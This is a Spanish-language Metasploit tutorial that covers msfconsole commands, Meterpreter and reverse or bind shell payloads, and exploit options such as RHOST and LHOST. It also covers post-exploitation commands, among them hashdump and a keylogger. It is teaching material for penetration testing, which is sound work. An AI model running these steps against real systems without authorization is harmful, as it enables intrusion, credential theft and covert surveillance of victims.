Metasploit

tools

Metasploit es un proyecto de código abierto para la seguridad informática desarrollado por rapid7, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración "Pentesting" y el desarrollo de firmas para sistemas de detección de intrusos.

conceptos confusos para principiantes:

  • Exploit: Código que aprovecha una vulnerabilidad.

  • Payload: Qué quieres ejecutar una vez explotada la vulnerabilidad

  • Módulo: Unidad en Metasploit que puede ser exploit, payload o auxiliary

Instalación de Metasploit

Metasploit viene instalado por defecto en sistemas de pentesting como ParrotOS o Kali Linux, puedes descargarlo manualmente en:

iniciar metasploit

en la terminal de comandos, se utiliza el siguiente comando para iniciar Metasploit:

msfconsole

Comandos de Metasploit

# buscar exploits, payloads o modulos
search <nombre>

# cargar un modulo
use <modulo>

# ver informacion del modulo cargado
info

# ver opciones/configuraciones necesarias del modulo
show options

# configurar parametros/opciones
set <param> <valor>

# correr el modulo o exploit
exploit
run

como usamos los comandos para iniciar un ataque en la maquina vulnerable?:

Meterpreter

  • Meterpreter es un payload avanzado que da una consola interactiva con muchas funciones de post-explotación.

# reverse shell simple
windows/meterpreter/reverse_tcp

# Conexion sobre HTTP que lo hace mas silencioso
windows/meterpreter/reverse_http

# Conexion sobre HTTPS que lo hace mas silencioso x2
windows/meterpreter/reverse_https

# conexion mediante bind shell (fuerzas a que la victima abra un puerto y el atacante se conecta)
windows/meterpreter/bind_tcp

Linux Shells

  • Cuando no se requiere Meterpreter, se usan reverse shells simples.

# reverse shell simple
linux/x86/shell/reverse_tcp

# reverse shell simple que utiliza bash
cmd/unix/reverse_bash

# reverse shell adaptable
cmd/unix/generic

MacOS Shell payloads

  • reverse shells que son utilizadas para MACs específicamente vulnerables

osx/x86/shell_reverse_tcp

Generic Payloads

  • Payloads que funcionan en muchos entornos y son adaptables

generic/shell_reverse_tcp

# bind shell
generic/shell_bind_tcp

# linux reverse shell adaptable
cmd/unix/generic

Ataques por metasploit

podemos iniciar buscando por alguna vulnerabilidad que hayamos encontrado en el sistema objetivo:

search <vulnerabilidad_aqui>

te debería lanzar una lista con todos los módulos encontrados, para de seleccionar uno hacemos lo siguiente:

use <modulo_aqui>

ahora debemos ver las opciones del modulo elegido, para posteriormente configurarlo:

show options

debemos configurar los parámetros para adaptarlos a nuestra necesidad, estos son los parámetros mas comunes en cada exploit:

# usamos la instruccion set para cambiar el valor del parametro

# victima
set RHOST <ip_aqui> # ip objetivo
set RHOSTS <ip_aqui>/<rango_aqui> # rango de IPs del objetivo
set RPORT <puerto_aqui> # elegir el puerto del servicio vulnerable

# atacante
set LHOST <ip_aqui> # ip del atacante
set LPORT <puerto_aqui> # puerto donde el atacante recibe la conexion
set PAYLOAD <payload_aqui> # configurar un nombre de payload especifico, depende del exploit si configurarlo o no
set TARGET <sistema> # especificar el OS de la victima (depende del exploit)
set SSL true # Algunos exploits funcionan tanto en HTTP como en HTTPS. Si el servicio corre sobre HTTPS, debes activarlo

para enviar el ataque podemos ejecutar cualquiera de estos comandos:

run
exploit

recuerda que antes de enviar una shell inversa debes tener listo un listener por el puerto correspondiente

Post explotación en Metasploit

La Post explotación es todo lo que haces después de comprometer la máquina, por ejemplo:

  • Recolectar información

  • Escalar privilegios

  • Moverte lateralmente

  • Mantener acceso (persistencia)

  • Exfiltrar datos

varios módulos de Metasploit se encargan de automatizar este proceso por comandos simples.

Cuando nosotros logramos la explotación, deberia salirnos un mensaje como este:

[*] Meterpreter session 1 opened

pa'ra ver las sesiones activas podemos utilizar el siguiente comando

sessions -i

para entrar a una sesión solo especificamos su identificador:

sessions -i 1

ahora, si queremos recolectar informacion del sistema tenemos comandos en modulos como meterpreter que nos ayudan con esa tarea:

sysinfo        # Info del sistema operativo
getuid         # Usuario actual
ipconfig       # IPs de la maquina victima
ps             # Procesos en ejecucion
pwd            # Carpeta actual
hashdump       # extraer hashes de Windows

keyscan_start / keyscan_dump # keylogger

screenshot     # tomar captura de pantalla

para concluir, vamos a terminar explicando los auxiliares y complementar la sección:

  • Los auxiliares (auxiliary modules) de Metasploit son programas que realizan una amplia gama de tareas de seguridad informática, pero que no son exploits directos, ya que no buscan comprometer un sistema de forma remota. Se utilizan principalmente para escaneo, fuzzing, rastreo de información y para realizar tareas de administración o de servidor dentro de un entorno de pruebas de penetración, ayudando a recopilar datos y entender el estado de una red o sistema.

show auxiliary # ver todos los auxiliares

Last updated